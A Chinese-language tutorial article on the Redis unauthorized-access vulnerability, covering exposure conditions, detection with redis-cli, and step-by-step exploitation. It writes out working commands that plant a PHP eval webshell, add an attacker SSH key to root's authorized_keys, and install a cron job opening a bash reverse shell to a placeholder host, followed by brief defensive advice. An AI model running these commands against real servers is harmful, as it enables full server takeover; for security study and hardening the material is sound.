当前位置:   article > 正文

Redis未授权访问漏洞详解(全面)

redis未授权访问漏洞

这个漏洞造成原因是因为配置不当的问题,没有非常复杂的原理。这个漏洞一般位于内网之中,能利用好Redis漏洞往往能够顺利拿下服务器权限,所以也还是很重要的。

目录

Redis简单介绍

Redis未授权访问漏洞介绍

利用条件

影响版本

漏洞检测

漏洞危害

Redis写入webshell

原理

利用条件

利用过程

Redis写入SSH公钥

原理

利用条件

利用过程

Redis写入计划任务反弹shell

原理

利用条件

利用过程

Redis未授权访问漏洞防御

总结


Redis简单介绍

Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。

Redis未授权访问漏洞介绍

利用条件

  • Redis默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问,就会将Redis服务暴露在公网上;
  • 并且Redis默认情况是空密码连接
  • 在服务器以root身份运行Redis时

这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

影响版本

Redis2.x-5.x

漏洞检测

一般使用nmap工具对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器。

redis-cli -h 服务器ip

漏洞危害

  • 攻击者无需通过认证就可以访问内部数据,导致敏感信息泄露
  • 攻击者可以恶意执行flushall来清空所有数据
  • 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

eval()是用来执行一个字符串表达式,并返回表达式的值。

lua是一种脚本语言,用C语言编写,源码开放,其设计目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。

  • 由于Redis以root权限运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

Redis写入webshell

原理

Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。

利用条件

  • 当存在未授权访问漏洞时,可以直接通过Redis连接靶机;
  • 如果靶机正好开启web服务;
  • 且攻击者知道了web目录的路径且该路径具有文件读写的权限。

这时候攻击者可以通过Redis写入webshell。

利用过程

以下为举例:

  1. config set dir /var/www.html/ #切换到web写入目录
  2. config set dbfilename zcc.php #设置写入木马的文件名
  3. set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
  4. save #将内存中的数据导出到磁盘

Redis写入SSH公钥

原理

在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件

  • 通过漏洞成功连接Redis之后;
  • 且Redis服务以root权限执行;
  • 以及安全模式protected-mode处于关闭状态;
  • 服务器开启了ssh服务,且允许密钥登录。将密钥等配置信息存放在/root/.ssh目录(安装了openssh只要将公钥放入到/root/.ssh文件夹中,无需设置默认就允许使用公钥登录),

即可远程写入一个公钥,直接登录远程服务器。

利用过程

  1. ssh-keygen -t rsa
  2. config set dir /root/.ssh
  3. config set dbfilename authorized_keys
  4. set x "\n\n\nssh-rsa ...公钥...\n\n\n"
  5. save

连接:

ssh -i id_rsa root@ip

Redis写入计划任务反弹shell

原理

在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以一个计划任务进行反弹shell。

利用条件

  • 能够远程连接到Redis
  • 安全模式protectcd-mode处于关闭模式
  • 以root权限运行

利用过程

  1. set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
  2. config setdir /var/spool/cron
  3. config set dbfilename root
  4. save

Redis未授权访问漏洞防御

  • 限制访问IP
  • 修改默认端口
  • 使用密码登录,限制密钥登录
  • 不使用root运行Redis

总结

  • Redis未授权访问漏洞是由于配置问题而产生的漏洞,因为没有改变默认端口6379且没有限制外来IP访问导致的漏洞。
  • Redis未授权漏洞一般可以用来写入webshell、写入ssh公钥进行登录、写入任务反弹shell连接
  • 这些漏洞原理本质就是能够远程连接上Redis,且能够有root权限进行修改文件,然后将想要实现的内容写入就可以达成目的
  • Redis未授权漏洞的防御针对以上几点大概有:限制访问IP、修改默认端口、不使用密钥登录、不使用root权限运行Redis。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/821414
推荐阅读
相关标签
  

闽ICP备14008679号